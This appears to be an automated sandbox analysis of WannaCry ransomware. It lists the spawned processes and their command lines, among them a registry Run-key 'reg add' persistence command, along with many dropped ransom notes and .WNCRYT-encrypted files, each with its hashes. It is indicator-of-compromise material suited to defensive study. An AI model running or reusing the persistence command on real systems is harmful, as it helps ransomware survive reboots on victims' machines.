@WanaDecryptor@.exe (PID: 3568 cmdline: C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe MD5: 7BF2B57F2A205768755C07F238FB32CC)

cmd.exe (PID: 3528 cmdline: cmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 'ywepvofkuzu108' /t REG_SZ /d '\'C:\ProgramData\ywepvofkuzu108\tasksche.exe\'' /f MD5: AD7B9C14083B52BC532FBA5948342B98)

reg.exe (PID: 3584 cmdline: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v 'ywepvofkuzu108' /t REG_SZ /d '\'C:\ProgramData\ywepvofkuzu108\tasksche.exe\'' /f MD5: D69A9ABBB0D795F21995C2F48C1EB560)

taskdl.exe (PID: 3548 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskdl.exe (PID: 3900 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)

taskse.exe (PID: 3908 cmdline: taskse.exe C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe MD5: 8495400F199AC77853C53B5A3F278F3E)

wbengine.exe (PID: 3872 cmdline: C:\Windows\system32\wbengine.exe MD5: 691E3285E53DCA558E1A84667F13E15A)

vdsldr.exe (PID: 3928 cmdline: C:\Windows\System32\vdsldr.exe -Embedding MD5: A2551668C78CEA4089D71A0A3B36FC0C)

cleanup

Created / dropped Files

File Path	Type and Hashes	Malicious
C:\@Please_Read_Me@.txt	Type: data MD5: 7A2726BB6E6A79FB1D092B7F2B688AF0 SHA: B3EFFADCE8B76AEE8CD6CE2ECCBB8701797468A2 SHA-256: 840AB19C411C918EA3E7526D0DF4B9CB002DE5EA15E854389285DF0D1EA9A8E5 SHA-512: 4E107F661E6BE183659FDD265E131A64CCE2112D842226305F6B111D00109A970FDA0B5ABFB1DAA9F64428E445E3B472332392435707C9AEBBFE94C480C72E54	false
C:\@WanaDecryptor@.exe	Type: PE32 executable (GUI) Intel 80386, for MS Windows MD5: 7BF2B57F2A205768755C07F238FB32CC SHA: 45356A9DD616ED7161A3B9192E2F318D0AB5AD10 SHA-256: B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25 SHA-512: 91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9	true
C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png.WNCRYT	Type: data MD5: 681CF249C4AAB2E272F07F1E5D6175D5 SHA: 55D00B3BFC257A909D3C9E931747C6869066B684 SHA-256: D6A5A2C321539F59BF360CD2392C706298509F31A4058B2BA2E8F40873861B7A SHA-512: 139C1AB7E6A59D340881A8BA3F29A22F101BAAFD23DB23982E61AB6BA52E956254906C8AC5557D6E16E762C24F86E9361142C0C04E035CFD272475A84DB902D5	false
C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png.WNCRYT	Type: data MD5: E9F31A2B574D01919B43874072F0A0E4 SHA: 5A577FC7C98433E111B94135A90471263A3F5A98 SHA-256: 1043C9C4F3F952E55E60A061AE1A4C989D6D24F20E6A83A0B20B616D82B5E96B SHA-512: 5EE7E8F1E9C393FF8B18FC7F7B4675839AC4A6DA9D541B310938FC515C6C8DB21940123962354CE7659B1A18E39674E2467F7CB17C5E20EC1D68550C3DEA60A8	false
C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png.WNCRYT	Type: data MD5: 356731814B776E8BE9CF46C104C6D35D SHA: 4DF9E50D5C3C4643B36CDACFC8D5A41DA006E856 SHA-256: 98A74A8551E3D3B08096674AFBD7FACDC56AE9487A2449AE3C1002D5E867ADB1 SHA-512: 68BFC85A107EC57381A09FA5A74F49154B5CA292AC91FC4B2FFD7CB18396C92D6932E6ADAD407B37222AE9282BF688BE2D0CA6EF777AF772FDD66CE730D0F6D2	false
C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png.WNCRYT	Type: data MD5: 268C8A69A85A0D0A9AE463041047AA73 SHA: 0399744AC5A7CA3EADB2227F3AFEAB257C399344 SHA-256: E2AA84E82E7E6B3E283AFDF2CA8070CED8D372C5CE2EDEB4D1D7099DEA00620E SHA-512: 0AB161A8BBD2AEB7E3C6D5D4146388B33E5D8DD054DC6E7FFDE3938A2D93F3814444A224F9A5C67DB434B92EE239D2BFE071A67CF193853CD12C17A34EEE469E	false
C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png.WNCRYT	Type: data MD5: B348A334A83D024B5FFFAB70A2C56F7D SHA: 9ED1ABE0FFFBB36341564CE2A8552F99128B413F SHA-256: B17934683265957A9C1F5BC06EA0B0506B4811051F250D19A5903F0A9042A1F1 SHA-512: B8DEAF148CBFD5965AFCE3EF7DCB870723A7BEE9BCB4556852B0C40443ED61DBF5EE68BFA4F9EB645CC95145E9B325FCD684C2B3A8147602E45E42C0F96E0F33	false
C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png.WNCRYT	Type: data MD5: C7E69524D84F0DAF66E47144C53A9A01 SHA: 85AB518090FF1641C52F991D140B20DD033F8610 SHA-256: 2300A50AE12E38BA9B728BE168E53A31C3951A308514BE3603AA528D63DD8029 SHA-512: 80087DCAEC650B761112620BAB0EE151A559232916AD8A7C302985E48A1073D08C8AB8FE66DE349219566678BE20B89CAB3AD3C75DB3C2CAB1A2A7CC313067B9	false
C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb.WNCRYT	Type: data MD5: 6DB5F914628913C728C199AE05624C70 SHA: 06AB6790CD45AD185F361AD2AC0155A2EE796FD1 SHA-256: E4C95E25110BEAF1D95A0825C8A64A3DECE0B246D876DDFCB69E3FC8E1AEB15F SHA-512: 955FB4233D4B1FFBAFB19579E37574BEBE69942FE760F9A6FE4E48023D878887B4A00739C220D969A66328E9822C8480F5DDBFE2404BA400267E1A39464284CF	false
C:\ProgramData\Microsoft\User Account Pictures\@Please_Read_Me@.txt	Type: data MD5: 7A2726BB6E6A79FB1D092B7F2B688AF0 SHA: B3EFFADCE8B76AEE8CD6CE2ECCBB8701797468A2 SHA-256: 840AB19C411C918EA3E7526D0DF4B9CB002DE5EA15E854389285DF0D1EA9A8E5 SHA-512: 4E107F661E6BE183659FDD265E131A64CCE2112D842226305F6B111D00109A970FDA0B5ABFB1DAA9F64428E445E3B472332392435707C9AEBBFE94C480C72E54	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\@Please_Read_Me@.txt	Type: data MD5: 7A2726BB6E6A79FB1D092B7F2B688AF0 SHA: B3EFFADCE8B76AEE8CD6CE2ECCBB8701797468A2 SHA-256: 840AB19C411C918EA3E7526D0DF4B9CB002DE5EA15E854389285DF0D1EA9A8E5 SHA-512: 4E107F661E6BE183659FDD265E131A64CCE2112D842226305F6B111D00109A970FDA0B5ABFB1DAA9F64428E445E3B472332392435707C9AEBBFE94C480C72E54	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile10.bmp.WNCRYT	Type: data MD5: 7BBD581268CA3E3B6D728FF2B03FA5A6 SHA: 3D84C44E0FB4AFCFA6D377C430A9997FD30004C1 SHA-256: 56D8E2D08252D28F631AF39CA946C71B886F49C8DE37BA77F6B6677E9D339E2E SHA-512: 3350BF2B469AAEF434971409B3528E3105FCEFF65F75B0311AEA03A85937E45EF5C1776E21F7B4CF8DA5062D4FA680DB98FC9B6187D3F19C3FF41BAD7344043C	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile11.bmp.WNCRYT	Type: data MD5: E6D45B60B3E70F35C95DA7981A09B73C SHA: BA24D38DDF18B70CDD3F2F817B6DD79AC817A5E2 SHA-256: A0BC9FC4C9DF88B455F46E5129D93CF6F22E8BBF6B13A72B8E23911C678ACE85 SHA-512: BBBDA5EF4E3C281EFEF04D356B9FEBF6BC6E795AF96066086D4907F70DB2A7EF91D62D653C465CEB97AE1B1BDA91C8C076956492208B8259BEB843318498983E	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile12.bmp.WNCRYT	Type: data MD5: 92E0CCDECBC8C8D6D2FC99C8DCB8FAC7 SHA: B773BF278D9EE0C7F64FBBECFD537E9703AE3C43 SHA-256: 107132E1EAFAFAE5C82976191D403B74129FB8734E51B3CAA41DAFEE1A5D07FA SHA-512: 26D75009CD8913E3CE38A5D89125A977C4A4F7512FE5C39854093CD3EBF0E65C0C5B74A58EA39F7D7280F8CDF52E12ABDBA9471156EC4F39BB5DA404E958292C	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile13.bmp.WNCRYT	Type: data MD5: 999B7B2EE515A266BBDC67894E8DB30E SHA: 164CAE418C9B52FC306BC59DDBBC99800160F0AD SHA-256: 288134C094C1164996FF6A113D166453D33AE4583B38D4BD58F333F5DC30261A SHA-512: B5CCC1E56B120EDF07430225220D3322B5E9E679394D17D31C4ACE6BC590FAD2C1DD68566A5FC92B56E0DDB96AAC4115A2F004B06E0B3E5CB0BD45C09E9C8C42	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile14.bmp.WNCRYT	Type: data MD5: 9D71F0B502BB930947EABFA2B239BC81 SHA: 445DBE7528F21CE354808BE38CC2F771032C39AF SHA-256: 485B4B93B86FA09D4BAF4F9D492C9A0D637A516F61E308491B58117BA65E0C98 SHA-512: FA38709CE3C238E5ADCF702C545E24ED6448833D8C68E847D1EBDD4472AD031E62B6C99B84A0161EEE0F3938D1377C7F28E72A7F5B9347CD0E7F0ED4C7AB0EFD	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile15.bmp.WNCRYT	Type: data MD5: DB99F96438FDBE34FDBFFFF55E714A79 SHA: 7B4D269736265BBD9258335B2FDDFCB9ED5EDD73 SHA-256: 29460CA877FD1D3C103720BD7411A165E7D3737548EDC27659DD465B25B4437F SHA-512: 94EC5E8AA9433FC86B058FC4E6A56CE3657ED3C9B09096D0A1D2B2BFA6DA3964A1795F446FDF40491E82BED0D6D7BD9D5F0536D5E2FDBE14E2E285E0C8BE3599	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile16.bmp.WNCRYT	Type: data MD5: 853B65AD2065A03B5421540F91303B2E SHA: EB345346FD98C36F43FD4180C8B694C7EEC05154 SHA-256: B2049153ADDBF85496F461A6185AD8A5C7012D5471F624062C7A1882DECB3F7D SHA-512: 4D53F87CFA2A857C982939DF1CC558FA08D085E03A8C57539D5C8C6AF3533622D5E7B142AFEBBA484DA64A17A8083890EE34A93777B2B341973C772EAC3760FE	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile17.bmp.WNCRYT	Type: data MD5: C5D167BBEFABD0993A7840BDB9A4DF4B SHA: C03872DECB9E86ACE4212AFA7A04186667D9B14C SHA-256: 37B88A354FA5520060AD4CA26CF49E6448814144389DD943827C739367ECF1D1 SHA-512: 9067BA1448F8B12924B1638D5A2BB62A67A3A29B7E99AFCECC545A23CAB73491D080AB49CA30A77CCE7D3D21F2B4467CB5B3DFE9A3AB624B05E80DDE23C1496C	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile18.bmp.WNCRYT	Type: data MD5: AA2E504AC4257E6442D59E9C10F8C361 SHA: FD7C8BCE60C0903B4BBE85FB0EA815276CB1B7B6 SHA-256: 63886B8569F52F3794C7FCF8829435E62BFC68665ECF3B7C0AC54CBBBDAD356E SHA-512: 99DA901D9B5A96E0CABAA2942A2DAB08ED2F067C4B5D3478D3315AD0DC7241D2CB2F9421D5A74DAD7A180A19BCEAEA149C31B397A7B6EF11077FA5B2AE14E7C6	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile19.bmp.WNCRYT	Type: data MD5: FD35CE06A08B7AFB9B73E9032388A693 SHA: 9E07137ED07E13EC674D62D57C61F080CEF8276C SHA-256: 1B10363C343E90F3E4581498909499B82066C6C454D90D29D3A46ADA5EBE6754 SHA-512: 21092A38EC0BE76E706A5FF05435DC76360B1D2585C7812B9D98A8A70A1800AADB365D75A3331811D14312E34C99336B5E5FD77E0F8F41B6D99C5CB6C7F3A14D	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile20.bmp.WNCRYT	Type: data MD5: C969DE554BFA510133E1AB051BE659D9 SHA: 43C55E72FD18E1B51D89275C74F49C5180EE94A8 SHA-256: 554375DA2EB7EA214B07E16AB8C746F9001676CAE4457028FD989C991C027960 SHA-512: B6CFCA8AC18737A75AB049E10DEE1E2A90DFA914C6A4906C1AEEAF0DEB2805E0EE843D9A2572F5D27033FDF15E80414B4B9341017FA1D4822C83CDCEF746DED4	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile21.bmp.WNCRYT	Type: data MD5: 7A3A5B1DF022B3835F73A43EC64D844E SHA: 67BCDE7836298449FC7DF1385289D8CF4BEB9055 SHA-256: E67B40F874F8FD258D5AED6F6D42D09A0C43A409D6ECA3829435678DE51C85BB SHA-512: 6083C0B02E9B13F2AD82F98E84E1173C1697D0D8377699C1753B464388B9D302D68998B924A181C34A5A2F6343ABFAF86EFE6840732EAAC3B5F8400BF99A62F5	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile22.bmp.WNCRYT	Type: data MD5: A29B603C2313E7BD32B93BE989A462FE SHA: C6FDBA4DE388A8A10CC4DDE2D1967CB6D3768CBA SHA-256: 7A2B44FC04E36A732574D0A931F85593EC535890C22C5B39F907592F20992454 SHA-512: 2B43A411B6105B5529F658A01D21D34831F8F8545A0559CFF6706CEF744D64F5E7C4C17B5360556957BEAA3841B13B2E09CCE9D4B6C2667ABF4FFC8CB76CA5EA	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile23.bmp.WNCRYT	Type: data MD5: F8D4052AA4844CF09FB9787A3733D850 SHA: C6C5BC31A4D5F66B26A69251A869E0DC758221F7 SHA-256: 71C210394AE4FEF6B5D4F415049A86DF1C37394FFDD749207CA99753D5AA5FB0 SHA-512: 8EA640B62A8055193C51EA1C0084E89E301E63701B4773E7EFE04290757DE0068BFB515F2CABF36894C9D41B55439E113A9085053F32949E5AB17E9E4558EC66	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile24.bmp.WNCRYT	Type: data MD5: BA69E90E4B24C0E0FD4354ACB2E485C3 SHA: 673B17285DB393CDF80B1074131BABA610302FF0 SHA-256: 33FCEB1CEBA3A6590B98C48205C67C9F24E0AB2E7B87D6F94126FAE678FCC519 SHA-512: B0F9948C347D4D6DE9547B7202B0328BBE00CDBF9A2DD176D9F3D7A1183BA5DF38A88CE9D8F330EDCAFE1D71742849DC224E07199263A8E255FA4C3FD750D3FD	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile25.bmp.WNCRYT	Type: data MD5: 20731E84FC5BFA4C6BD4FB5DE0228CFA SHA: 767D9D1994712CCC525124C3B0A40E4A622C6955 SHA-256: 043CD63BDE5FE1E1ECE289AE152CE93A3F650C9B27067AA76677D22EB450F7F0 SHA-512: 88ADFCABC84E6316128CF8DA87DE01285198FD7ED683EF2C56170E1FE5828F83E6530A74F9216E69056A125AF7183F122EF26EF1A12C85ACB81FE38E615D44C1	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile26.bmp.WNCRYT	Type: data MD5: AAFD141725EB97477640CF4F7A78300B SHA: C66E70362C4C369F3572443929EF5202CCE6B3D8 SHA-256: 6B39F3986E5FD768AC8FAD58875838B03212D0F86B2F3783EC501BCA9E1A9C11 SHA-512: 3A7BEDF23E2B969D40171D0FDA396824D7336E380EC05358734D50D73148D89490333644D249994E1335FD601666C3BFBAFE653406B8077BB7D8C69215AF3BBB	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile27.bmp.WNCRYT	Type: data MD5: 2BB68F651AD52EA8155E41B9B9129DFF SHA: E60B9E5F8D0F1E0DAA9C0F3555353077CA88A38E SHA-256: D1BBE724C1AD7FF9C03DE8E82E758585A7ED1BFE819405A1D417277965927BAB SHA-512: 581C6EAFC4DE01D53ADA839CD14C81081CA45668357FB87FC98F2593752763A96F2ED0158EB347B6777EBBC806400707178F881AF4A1434B07BE176B16750BBF	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile28.bmp.WNCRYT	Type: data MD5: BB7C63F815CA5C4C969F2E5BB12F8B9F SHA: F10E67B040CC844FBFB48D5FDD9A52B3A7661FCF SHA-256: AE1A21DC3FE9E89FA7A439F036FE985A6F74310A03180468A82A1A68E157BB7D SHA-512: 49CB0530419C07339CB7E7BE52F31F61AA43F6B563D518B588AF1E8C1D2FEE454C45E00D39F8D80C39EA89F75C3A13E625F3B8B8A645097FDD5B32FD1B764E82	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile29.bmp.WNCRYT	Type: data MD5: B015E818176C53488E60B3A82C6226C1 SHA: 2E3A3814D8A66F3709DC52C4E5A4B68452005CB2 SHA-256: 31D2EFC885DB1AD5F1168A0386C7A1C518F4A662E929E43235404408A587A7DF SHA-512: DF7AF8B2B5607D2513D7DC635F195B0C1860B5647985D66C1AFFBABA3B937B0BFA17A90F981F55BF4110FC1C66C0C723D19A41C76B9593CB66944EDBD3103D7D	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile30.bmp.WNCRYT	Type: data MD5: 5B66053B6DDAACBAA4F2D8E21B2FCF0B SHA: 56831DDD6D97633D90A1C683FB5CB48906400BCF SHA-256: 28367BC02BD33AD822E6D8013EE4E52A6E7CDBE5D0EFFDE94A961F1B4A9CB67B SHA-512: DB63B2CF1E1AAB509117B068D65ED463A937D47426C75080AD24636E142987B706E4E53D8A40FD0DF6BEDBEDAD173DE2A3F11D343AE87E29667BDEBB8C124A32	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile31.bmp.WNCRYT	Type: data MD5: 984D714A03E0C82A4B51CDC685AC99E3 SHA: 367C46C92DE23F7EE8983030D6E7DFCA2FF679F4 SHA-256: 88D4621B4A2ABD6A62D63DCB3E215A2C51C4D6BE2BA0E50D1DE7EE138A31E200 SHA-512: EDA850C946EDF1DFE750F776D6817FD2C063D6E9CAEDD3C3F4BEAC814B677307193AC5FF939F98FB5735909643E2047966CD8E9EA6A18D78E8BC1E5F8E32BC8D	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile32.bmp.WNCRYT	Type: data MD5: D15DCBDDA08FF59C1B3AFDED9BA47FF9 SHA: 25BD2C5DC9807F3124057FFFDD055B8EF4DCD1F7 SHA-256: F06FBAD186FC29963F708AD8FE8B7ED8C32AF77D29BF1F5AF76423BB56A30BC8 SHA-512: 3F3EBFA364E1425FA82A23F2DAC8307E0FD53614EB6BA1FF4EC311AAB6BAEFB3C75010622331DE75C8B7D30E703732CE5D1E0B5B0E36C16F837CEF3FA4FFABDB	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile33.bmp.WNCRYT	Type: data MD5: 79C4774CF7FC5230C541BE118872B08E SHA: CFCFAA62ECA5A9BD30F8E65D9501459B8C7732B5 SHA-256: 60BC5CF61D8523BB2CE38AA95A7A90166EBCB80FA06AF38A1852003AFE493A76 SHA-512: 42B719259FB54FFC070F1EF40099E0D74D5DE477E4B33ED11D6F7F5FB45353BD8B8E73BF9D87B009F2980FB52E731D7743C2CAA86AD5A671DBCCF5A342DB9B72	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile34.bmp.WNCRYT	Type: data MD5: ED3541F36B532DAA524EA7D9D4E0E990 SHA: B2D1B6C681DF0D7DED1355E1FC575CCF0F81169E SHA-256: 3F51299CF06D0860F71734004666595C97F0A17D27B6E2F5044C1286CD4D7B9A SHA-512: FDC39C51941CE41D00ADC32EB7B07801327E83DED10AC2B7D6D0138569898FD9D0DD2E6C0E1BD122D7108161ACD509CDFFB70F1028E8FF1C8FB0AEA1FCA02C8C	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile35.bmp.WNCRYT	Type: data MD5: BF8B6B3B28C5A9888441CDB59F6AE74B SHA: 6A7B68D2C95D0425AD82CC88F054A98E3AC0A362 SHA-256: E9E4924EC9B107164BA763A95ADED74A55A48F2327CC97EA8DE352137DC5E8C1 SHA-512: F38613B8651909EE9D06A3F35ABA6A2E52A6A13163DD02B0CDA9277CF5E771FCAB084A62A64F52DD39B223EB13615DFF4D64A65CC518707D6BF69515659A95EE	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile36.bmp.WNCRYT	Type: data MD5: B46B80B22A4B1F3FCA29DD40D05A794C SHA: 740BC26BC2620BD02EFB79542123DE6DC7BB45AE SHA-256: AFD136E18B6ADEDA710928C82262F1D3DC2DC9302FD88239992A67134A1BD81C SHA-512: 1073B1CD1546D1115281F6FA9E6F38BF2BD42B67483EC4E3B8BC048DEF748FFFDDC0D6F9C15B7CB31FFBAFB56433DD669E57BF4B5682BD0E2578F443AE701CC0	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile37.bmp.WNCRYT	Type: data MD5: ADC9B78A2C057DB8CCB401A242C53D84 SHA: 4F6641EAD6FB9C35AEFD58379DFB0687992DE4E2 SHA-256: 0968A7AA411E722F93A6C302163BF7A5F460ED6E6B3A084B6DE4109DB14C6DDE SHA-512: 1A87529E246B350C59E3B6CCA57A09F54310FB3231BF3E3B7B74FB5CC7143D8F977CC8304A69C4B69EF6BE9AD6F6BB119A770EB2B20146FCA768425979EB1016	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile38.bmp.WNCRYT	Type: data MD5: 6851E4F4DCC7827A74882E9F5D46B9C0 SHA: 468A3B85B5B7B48E337F937BB89AD2FB5E389DA9 SHA-256: 529CAE5D35FE9BD676639F0B5F5F09264093BBFCE5E664B992299C023895ED91 SHA-512: 0151282392635EEE744B3622529EBE5573ED1BC3728988351A9926BBAD8DDDAA7C1C6289434C7F053107847B5DFBD5C0C72593A6522D72063B61E812B4A66E99	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile39.bmp.WNCRYT	Type: data MD5: EC3AD85E43FDFD206DBA97AADEC421F3 SHA: B2C909ED9A150964D8AE46ADA889F205CB908CE4 SHA-256: 9617F1AC9A066EA7E30212097CDBA3B7B88159BF28E795B70884A8D3BD678DCF SHA-512: 30F3496659642F5947E2C0D40EDE3229CE54060CDBC8125B6DE4D038DBD1C3EB570CE7ADE1C847E2B0B4A7215D6DD93B9E8B4DC5B10AE832865A2C61EDB01AF1	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile40.bmp.WNCRYT	Type: data MD5: 3EDC0173127667C8DD9E302BFD08CE65 SHA: FB806AF7768079C9D79B743A036F4DD26684F04C SHA-256: 4B5C01D3C3D0E7D5B70C522FC04B499194E6237E11E031215C375AB232423A34 SHA-512: 6BB27625AFEED4BB149CE778706ABDBC8F4352F93E82B9647BA3F0C03EE9ED9F7BFEC9033049847C85ACF2579A5A953FEB52F4450C5FB26EFA7864BABC686684	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile41.bmp.WNCRYT	Type: data MD5: 106603234B94DC5F797037F0B9B0664A SHA: E89BEBC6ED78208D5263BDABFFBFC49D9F68A34D SHA-256: C3E0B3E04BC41ECA0E64D4513FC6CA218A8B6A38BDF1B6A7CBB5023B2A4537CD SHA-512: 99CE0B5BE258576B88B11AE22308880661DC0DA2C342964EA0BB610A57600ECBE7C660B154662EA23506802EA21110EE05030E97E1BBE319D65B4B94D5308629	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile42.bmp.WNCRYT	Type: data MD5: B8645F98AE0B68429D79A4D9DF9D446E SHA: 5C370586F2B8BD046676919D83F937CB55A0DD4F SHA-256: 59F9CB790CE91AB2D40EA48490B76880FBD7F4B08072B2541E6856908C090557 SHA-512: 5A08AE6609B58D4DB5596237EAAF599B48ADD066EB8FF302CDA186BD6E2EF0C83F5BE3EBD11E05106DCC1C2260CB1687724D1BFB6F5AB0A5A4C1CA3296791746	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile43.bmp.WNCRYT	Type: data MD5: 3ECB52FA2D10F2CF852DB7040D800C86 SHA: 391F67A2F811BB3106A94AA86E370684505B3713 SHA-256: 81034F8352B1598AE378FBE778C8D13BBDCB54930A59C6D0D5D1FDBF745750A7 SHA-512: 83F8C8F44B886D5882C02540B0341AFF617D50F171ED0641FB47B9713AB7483E57C2EA17C3F5FAC4EBB9D9719874FF73437B65FFCEAE2FA6C914E6EDF1C49E7E	false
C:\ProgramData\Microsoft\User Account Pictures\Default Pictures\usertile44.bmp.WNCRYT	Type: data MD5: 4374FB31CA53AE6A7C450E41A8800739 SHA: A1E69DFA82DEF2B1103EF114788E7F8DE966DCD5 SHA-256: 2173F4F16B72EDCB0361086C6953D555EA77FE163A222F0BCFB6A937FA9DD4AF SHA-512: 0BDB533E53E6BDA1CDD21961CDC933F537F6C0BC0C5427D6A56950B6FF9152A64ADEC8C8BCA22D0166F1ABC905D565656A4D3BFEDCB63CF5E8EE124599A5588F	false
C:\ProgramData\Microsoft\User Account Pictures\guest.bmp.WNCRYT	Type: data MD5: 96C7FA7F153A147B4FA0AF8E04C053BD SHA: 1F0B4FE7974485EC575475DD75A5D9DFA12C3149 SHA-256: 7A77D3AD789593B4C751B5F79781DE4522E13C3F08AE43669BAAD88590A68879 SHA-512: 39E4BE5C6E6B3E914BBBD62E779E0503EBF3B6332FB9879A02178ECAC3D2D5499B9571B3646F4CA9CF3CF59A8ABC94849036FA74FB646C2F36B81D096AEA6274	false
C:\ProgramData\Microsoft\User Account Pictures\user.bmp.WNCRYT	Type: data MD5: 3CA3E88FC62C0749475C1470E01ADFC1 SHA: 15D3072F53BE02F0353AD6D570364EFC49E1E71E SHA-256: 3BB95649ABBF3745F1E8FDA450E6DAD6721DEF6DB2F78371D96EA3D02ACB25BD SHA-512: 2CC2F05BAEA12B114A9D9AA2BB55335E5A015F07E0762C160E0174F04EE2EA5BA6F31425ACFBC2B3D1725C4FA14D5BC1E1D73E411F6D69ED16A0B4A58BB81B7D	false
C:\ProgramData\Microsoft\Windows NT\MSFax\VirtualInbox\en-US\WelcomeFax.tif.WNCRYT	Type: data MD5: 888B4E911F13D79CAED91838015CE885 SHA: 09264AE70A086A2A03968E7E6494F537F35C141A SHA-256: 2876C39CA886D710035223B1D608307F46DDA116B1D559C2E519DC7E9E9CEB7B SHA-512: 919DA06BC1AEB65DA91F5FB99CC47AD60B3422260239F59126F4415766CA45408FB3C5D37495F918ADD092CA60F2CCAF383D47A395082BF256A7B6EC619FEB97	false
C:\ProgramData\Microsoft\Windows NT\MSScan\@Please_Read_Me@.txt	Type: data MD5: 7A2726BB6E6A79FB1D092B7F2B688AF0 SHA: B3EFFADCE8B76AEE8CD6CE2ECCBB8701797468A2 SHA-256: 840AB19C411C918EA3E7526D0DF4B9CB002DE5EA15E854389285DF0D1EA9A8E5 SHA-512: 4E107F661E6BE183659FDD265E131A64CCE2112D842226305F6B111D00109A970FDA0B5ABFB1DAA9F64428E445E3B472332392435707C9AEBBFE94C480C72E54	false
C:\ProgramData\Microsoft\Windows NT\MSScan\@WanaDecryptor@.exe.lnk	Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri May 12 16:54:39 2017, mtime=Fri May 12 16:54:39 2017, atime=Fri May 12 00:22:56 2017, length=245760, window=hide MD5: 380FE084AD836A4DCDD236D4695FB370 SHA: 1C78147AB1FB2257E8D5D9B7A722EBBD4C40F0A3 SHA-256: 660BA89414429CA08516C9C95C3C7A02EDA12BC73434CD8AA8AD844039C9B568 SHA-512: 318DD4F9F442D0A45A1D19CCA2E986BB6A67B38437D65AE9599C3C79C82DEDD899F369F8B6A9614C96AB23D8D204F57E7891D506895E50D60F80C2A1B0EDB697	true
C:\ProgramData\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRYT	Type: data MD5: 223062A74096B7280893AF603686CF56 SHA: 4EA69335C17F7FAF241CE874A79A4D78A1CBDDC1 SHA-256: 87E0B46D793CAAC0BDC36FBC5F81E1764B5B9EA44A1E7EF39BDE0F60A947F3F2 SHA-512: AF2A0806340ED50CC46BA8CDC97E6CDF91ABB75E524C74EB70A459DDEE258EBF125D5839E38275A87863563F9E0EFC5BF4BD4B6D0E63BCB64A972C937D1E8139	false
C:\ProgramData\Microsoft\Windows\Caches\@Please_Read_Me@.txt	Type: data MD5: 7A2726BB6E6A79FB1D092B7F2B688AF0 SHA: B3EFFADCE8B76AEE8CD6CE2ECCBB8701797468A2 SHA-256: 840AB19C411C918EA3E7526D0DF4B9CB002DE5EA15E854389285DF0D1EA9A8E5 SHA-512: 4E107F661E6BE183659FDD265E131A64CCE2112D842226305F6B111D00109A970FDA0B5ABFB1DAA9F64428E445E3B472332392435707C9AEBBFE94C480C72E54	false
C:\ProgramData\Microsoft\Windows\Caches\cversions.2.db.WNCRYT	Type: data MD5: 6F8B0E698DF2517215E3182CB5C5F06F SHA: 3EB21B4EC272124F49162659580CDF0E4A6DC544 SHA-256: 8C2EFF5712CA17FFF8B1571B5E6DD54A9718E114CE2798218A4EF15535B47E72 SHA-512: 4CDCD0E601907128870D708A826146D1325407F1AE55F6605D70F132E6A758B40AA0F8122B840F3CC3C316115122B1A9E205F4AA77C9845918BBB70931E490A3	false
